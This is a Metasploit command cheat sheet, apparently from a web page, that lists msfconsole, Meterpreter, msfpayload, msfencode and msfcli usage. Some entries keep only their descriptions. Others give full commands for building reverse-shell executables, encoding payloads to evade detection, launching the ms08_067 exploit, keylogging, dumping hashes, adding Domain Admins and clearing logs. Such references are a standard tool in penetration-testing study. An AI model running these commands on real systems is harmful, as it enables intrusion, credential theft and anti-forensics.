This is a reference for the most frequently used commands and syntax within Metasploit’s various interfaces and utilities.
MSFconsole Commands:
Show all exploits within the Framework.
Show all payloads within the Framework.
Show all auxiliary modules within the Framework.
Search for exploits or modules within the Framework.
Load information about a specific exploit or module.
Load an exploit or module (example: use windows/smb/psexec).
Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells.
The remote host or the target.
Set a specific value (for example, LHOST or RHOST).
Set a specific value globally (for example, LHOST or RHOST).
Show the options available for a module or exploit.
Show the platforms supported by the exploit.
Specify a specific target index if you know the OS and service pack.
Specify the payload to use.
Show advanced options.
Code:
set autorunscript migrate -f
Automatically migrate to a separate process upon exploit completion.
Determine whether a target is vulnerable to an attack.
Execute the module or exploit and attack the target.exploit -j
Run the exploit under the context of the job. (This will run the exploit in the background.)
Do not interact with the session after successful exploitation.
Specify the payload encoder to use (example: exploit –e shikata_ga_nai).
Display help for the exploit command.
List available sessions (used when handling multiple shells).
List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system.
Run a specific Meterpreter script on all Meterpreter live sessions.
Kill all live sessions.
Execute a command on all live Meterpreter sessions.
Upgrade a normal Win32 shell to a Meterpreter console.
Create a database to use with database-driven attacks (example: db_create autopwn).
Create and connect to a database for driven attacks (example: db_connect autopwn).
Use nmap and place results in database. (Normal nmap syntax is supported, such as –sT –v –P0.)
Display help for using db_autopwn.
Run db_autopwn against all ports found, use a reverse shell, and exploit all systems.
Delete the current database.
Code:
db_destroy user:password@host:port/database
Delete database using advanced options.
Meterpreter Commands help:
Open Meterpreter usage help.
Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory.
Show the system information on the compromised target.
List the files and folders on the target.
Load the privilege extension for extended Meterpreter libraries.
Show all running processes and which accounts are associated with each process.
Migrate to the specific process ID (PID is the target process ID gained from the ps command).
Load incognito functions. (Used for token stealing and impersonation on a target machine.)
List available tokens on the target by user.
List available tokens on the target by group.
Code:
impersonate_token DOMAIN_NAME\\USERNAME
Impersonate a token available on the target.
Steal the tokens available for a given process and impersonate that token.drop_token Stop impersonating the current token.
Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors.
Drop into an interactive shell with all available tokens.
Execute cmd.exe and interact with it.
Execute cmd.exe with all available tokens.
Code:
execute -f cmd.exe -i -H -t
Execute cmd.exe with all available tokens and make it a hidden process.
Revert back to the original user you used to compromise the target.
Interact, create, delete, query, set, and much more in the target’s registry.
Switch to a different screen based on who is logged in.
Take a screenshot of the target’s screen.
Upload a file to the target.
Download a file from the target.
Start sniffing keystrokes on the remote target.
Dump the remote keys captured on the target.
Stop sniffing keystrokes on the remote target.
Get as many privileges as possible on the target.
Code:
uictl enable keyboard/mouse
Take control of the keyboard and/or mouse.
Run your current Meterpreter shell in the background.
Dump all hashes on the target.
Load the sniffer module.
List the available interfaces on the target.
Code:
sniffer_dump interfaceID pcapname
Start sniffing on the remote target.
Code:
sniffer_start interfaceID packet-buffer
Start sniffing with a specific range for a packet buffer.
Code:
sniffer_stats interfaceID
Grab statistical information from the interface you are sniffing.
Stop the sniffer.
Code:
add_user username password -h ip
Add a user on the remote target.
Code:
add_group_user "Domain Admins" username -h ip
Add a username to the Domain Administrators group on the remote target.
Clear the event log on the target machine.
Change file attributes, such as creation date (antiforensics measure).
Reboot the target machine.
MSFpayload Commands:
List available payloads.
Code:
msfpayload windows/meterpreter/bind_tcp O
List available options for the windows/meterpreter/bind_tcp payload (all of these can use any payload).
Code:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 X > payload.exe
Create a Meterpreter reverse_tcp payload to connect back to 192.168.1.5 and on port 443, and then save it as a Windows Portable Executable named payload.exe.
Code:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 R > payload.raw
Same as above, but export as raw format. This will be used later in msfencode
Code:
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
Same as above but export as C-formatted shellcode.
Code:
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
Export as %u encoded JavaScript.
MSFencode Commands:
Display the msfencode help.
List the available encoders.
Code:
msfencode -t (c, elf, exe, java, js_le, js_be, perl, raw, ruby, vba, vbs, loop-vbs, asp, war, macho)
Format to display the encoded buffer.
Code:
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
Encode payload.raw with shikata_ga_nai five times and export it to an output file named encoded_payload.exe.
Code:
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/ _countdown -c 5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded_payload.exe
Create a multi-encoded payload.
Code:
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
Create pure alphanumeric shellcode where ESI points to the shellcode; output in C-style notation.
MSFcli Commands:
Show only exploits.
Code:
msfcli | grep exploit/windows
Show only Windows exploits.
Code:
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.142 E
Launch ms08_067_netapi exploit at 172.16.32.142 with a bind_tcp payload being delivered to listen on port 443.